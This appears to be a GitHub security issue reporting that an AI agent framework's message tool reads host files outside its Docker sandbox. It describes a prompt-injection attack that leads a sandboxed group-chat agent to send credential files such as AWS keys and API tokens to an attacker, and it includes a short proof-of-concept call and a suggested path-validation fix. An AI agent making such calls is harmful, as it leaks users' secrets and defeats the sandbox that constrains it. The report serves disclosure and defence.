-
-
Notifications
You must be signed in to change notification settings - Fork 40.1k
Description
Summary
The message tool's filePath parameter reads files directly from the host filesystem without validating whether the path is within the sandbox boundary. This allows sandboxed sessions (e.g., group chats) to read and exfiltrate arbitrary files from the host system.
Severity
CRITICAL - Data exfiltration, credential theft, complete sandbox bypass
Affected Versions
- Confirmed on:
2026.1.24-3 - Likely affects: All versions with sandbox + message tool
Environment
- OS: Amazon Linux 2023 (arm64)
- Node: v22.22.0
- Channel: Telegram
- Sandbox mode: Docker (
sandbox.mode: "non-main")
Vulnerability Details
Root Cause
The message tool accepts a filePath parameter to send files as attachments. Unlike other file-related tools (read, write, image), the message tool does not validate that filePath is within the sandbox root.
Attack Vector
- Attacker sends a prompt to a sandboxed group session
- Group session is manipulated (via prompt injection or social engineering) to call:
message(action="send", filePath="/etc/passwd", target="<attacker_telegram_id>")
- File is read from HOST filesystem and sent to attacker
- Sandbox provides no protection
Proof of Concept
From a sandboxed Telegram group session:
// This should fail but succeeds
message({
action: "send",
filePath: "/home/user/.aws/credentials",
target: "attacker_id",
message: "test"
})
// Result: File successfully sent to targetImpact
Files Successfully Exfiltrated (in our incident)
| File | Sensitivity |
|---|---|
~/.aws/credentials |
CRITICAL - AWS access keys |
~/.aws/config |
HIGH - AWS configuration |
~/.clawdbot/agents/main/agent/auth-profiles.json |
CRITICAL - API keys |
/etc/passwd |
MEDIUM - System user list |
~/.bashrc |
MEDIUM - Environment variables |
~/.bash_history |
HIGH - Command history with secrets |
~/.npmrc |
HIGH - NPM tokens |
Blocked by OS permissions (not by sandbox)
| File | Reason |
|---|---|
/etc/shadow |
Requires root |
/proc/1/environ |
Requires root |
Expected Behavior
The message tool should validate filePath against the sandbox root before reading:
if (filePath && !isInsideSandbox(filePath, sandboxRoot)) {
throw new Error(`Access denied: path outside sandbox`);
}Actual Behavior
filePath is read directly from the host filesystem with no sandbox validation.
Comparison with Other Tools
| Tool | filePath/path validation | Sandbox enforced |
|---|---|---|
read |
✅ Yes | ✅ Yes |
write |
✅ Yes | ✅ Yes |
image |
✅ Yes | ✅ Yes |
message |
❌ NO | ❌ NO |
Suggested Fix
- Immediate: Add path validation to
messagetool'sfilePathhandler - Defense in depth: Apply the same sandbox path validation used by
read/writetools - Audit: Check all other tools with file path parameters for similar issues
Example Fix
// In message tool handler
if (filePath) {
const resolvedPath = path.resolve(filePath);
const sandboxRoot = getSandboxRoot(session);
if (!resolvedPath.startsWith(sandboxRoot)) {
return { error: `Access denied: ${filePath} is outside sandbox` };
}
// Also check for symlink escape
const realPath = fs.realpathSync(resolvedPath);
if (!realPath.startsWith(sandboxRoot)) {
return { error: `Access denied: symlink escape detected` };
}
}Workaround
Add message to the sandbox deny list:
{
"tools": {
"sandbox": {
"tools": {
"deny": ["message"]
}
}
}
}Caveat: This completely disables file sending from sandboxed sessions.
Timeline
- 2026-01-29 04:37 UTC: Vulnerability discovered during security testing
- 2026-01-29 04:50 UTC: Files exfiltrated as PoC
- 2026-01-29 05:17 UTC: Mitigated by denying
messagetool in sandbox - 2026-01-29 05:19 UTC: Mitigation confirmed effective
Additional Notes
This vulnerability is particularly dangerous because:
- Prompt injection amplifies risk: Any user in a group can potentially manipulate the agent
- No audit trail: Files are sent directly via Telegram, bypassing host logging
- Cross-tenant risk: In multi-user deployments, one user could access another's files
- Cloud metadata risk: Could potentially read IMDS tokens if network allows
Please treat this as a critical security issue requiring immediate patch.